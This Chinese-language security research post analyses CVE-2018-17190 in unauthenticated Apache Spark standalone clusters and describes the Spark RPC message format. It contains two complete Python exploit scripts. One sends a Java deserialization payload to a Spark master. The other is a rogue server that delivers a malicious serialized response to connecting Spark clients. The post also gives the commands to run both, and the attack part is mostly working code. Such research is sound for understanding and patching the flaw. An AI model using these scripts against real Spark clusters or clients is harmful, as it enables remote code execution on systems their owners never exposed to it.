1.前言

在前一阵，Spark官方发布了标题为《CVE-2018-17190: Unsecured Apache Spark standalone executes user code》的安全公告。
公告中指明漏洞影响版本为全版本，且没有标明已修复的版本，只有相关缓解措施。
官方缓解措施如下：在任何未受到不必要访问保护的Spark单机群集上启用身份验证，例如通过网络层面限制。使用spark.authenticate和相关的安全属性。
查询了相关文档，spark.authenticate是RPC协议中的一个配置属性，此参数控制Spark RPC是否使用共享密钥进行认证。

2.Spark RPC

Spark RPC 是一个自定义的协议。底层是基于netty4开发的，相关的实现封装在spark-network-common.jar和spark-core.jar中，其中前者使用的JAVA开发的后者使用的是scala语言。
协议内部结构由两部分构成header和body，header中的内容包括:整个frame的长度（8个字节），message的类型（1个字节），以及requestID（8个字节）还有body的长度（4个字节）
body根据协议定义的数据类型不同略有差异.

RpcRequest消息类型的body大致由两部分构造，前半部分包含通信双方的地址和端口以及名字信息，接下来就是java序列化后的内容ac ed 00 05开头。

消息类型为RpcResponse的body就直接是java反序列后的内容。

3.搭建Spark 单独集群服务器
从官网下载，然后通过-h指定IP地址，让端口监听在所有的网卡上
./start-master.sh -h 0.0.0.0 -p 7077

4.证明服务端存在反序列化过程

spark_exploit.py 通过第一个参数和第二个参数指明远程spark集群的连接信息，第三个参数为JAVA反序列化漏洞payload。
通过调用 build_msg 函数将 payload 构建到消息中再发送给服务端，过程比较简单。

#!/usr/bin/python
import socket
import os
import sys
import struct

if len(sys.argv) < 3:
    print 'Usage: python %s <host> <port> </path/to/payload>' % os.path.basename(sys.argv[0])
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)

server_address = (sys.argv[1], int(sys.argv[2]))
print '[+] Connecting to %s port %s' % server_address
sock.connect(server_address)


def build_msg(payload):
    msg_type = '\x03'
    request_id = '\x50\xb8\xc7\x2c\x67\x41\xf7\xc6'
    head_length = 21
    other_msg = """01 00 0c 31 39 32 2e 31  36 38 2e 35 36 2e 31 00
00 a1 be 01 00 0c 31 39  32 2e 31 36 38 2e 31 2e
31 35 00 00 04 d2 00 11  65 6e 64 70 6f 69 6e 74
2d 76 65 72 69 66 69 65  72"""

    other_msg = other_msg.replace('\n', "").replace(' ', "").decode('hex')
    #end_msg = """00 06 4d 61 73 74 65 72"""
    #end_msg = end_msg.replace('\n', "").replace(' ', "").decode('hex')
    body_msg = other_msg + payload

    msg = struct.pack('>Q',len(body_msg) + 21) + msg_type + request_id
    msg += struct.pack('>I',len(body_msg)) + body_msg

    return msg 


payloadObj = open(sys.argv[3],'rb').read()
payload = build_msg(payloadObj)
print repr(payload)
print '[+] Sending payload...'
sock.send(payload)
data = sock.recv(1024)
if "invalid type code: 00" in data:
    print "[!] vul spark://%s:%s"%(sys.argv[1], int(sys.argv[2]))

print >>sys.stderr, 'received "%s"' % data

5.反向操作客户端

evil_spark_server.py 脚本通过继承BaseRequestHandler类完成了一个简单的TCP服务，对发送过来的数据提取出request_id, 然后再调用build_msg，将request_id和payload构成合法的RPC响应数据包发送给客户端。

#!/usr/bin/python
import socket
import os
import sys
import struct

from SocketServer import BaseRequestHandler, ThreadingTCPServer

class EchoHandler(BaseRequestHandler):
    def handle(self):
        print 'Got connection from %s'%(str(self.client_address))
        while True:
            msg = self.request.recv(8192)
            print msg
            if not msg:
                break

            if len(msg) > 16:
                print "Send msg>>>"
                self.request.send(build_msg(msg[9:17]))


def build_msg(request_id):
    payloadObj = open(sys.argv[2],'rb').read()
    msg_type = '\x04'
    #request_id = '\x50\xb8\xc7\x2c\x67\x41\xf7\xc7'
    head_length = 21

    msg = struct.pack('>Q',len(payloadObj) + 21) + msg_type + request_id
    msg += struct.pack('>I',len(payloadObj)) + payloadObj
    return msg

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print 'Usage: python %s <port> </path/to/payload>' % os.path.basename(sys.argv[0])
        sys.exit()

    serv = ThreadingTCPServer(('0.0.0.0', int(sys.argv[1])), EchoHandler)
    print "Server listening on 0.0.0.0:%s"%(sys.argv[1])
    serv.serve_forever()

启动服务

python evil_spark_server.py 1234 ser.bin

使用spark客户端进行连接.

spark-shell --master spark://127.0.0.1:1234

6.总结

通过抓包看请求数据以及阅读相关代码,逐步确定RPC协议中的请求数据。客户端和服务端都使用了JAVA序列化来传输数据，两边都可以进行利用。
当反过头来想利用反序列化来执行系统命令时，查找ysoserial发现除利用低版本jdk构造利用链外，并无其他合适的gadget。
随着时间的推移，各个库中的漏洞都将被修复和升级，已有的gadget将不再起作用。java 反序列化漏洞终将成为历史。

7.参考

https://spark.apache.org/security.html
https://zhuanlan.zhihu.com/p/28893155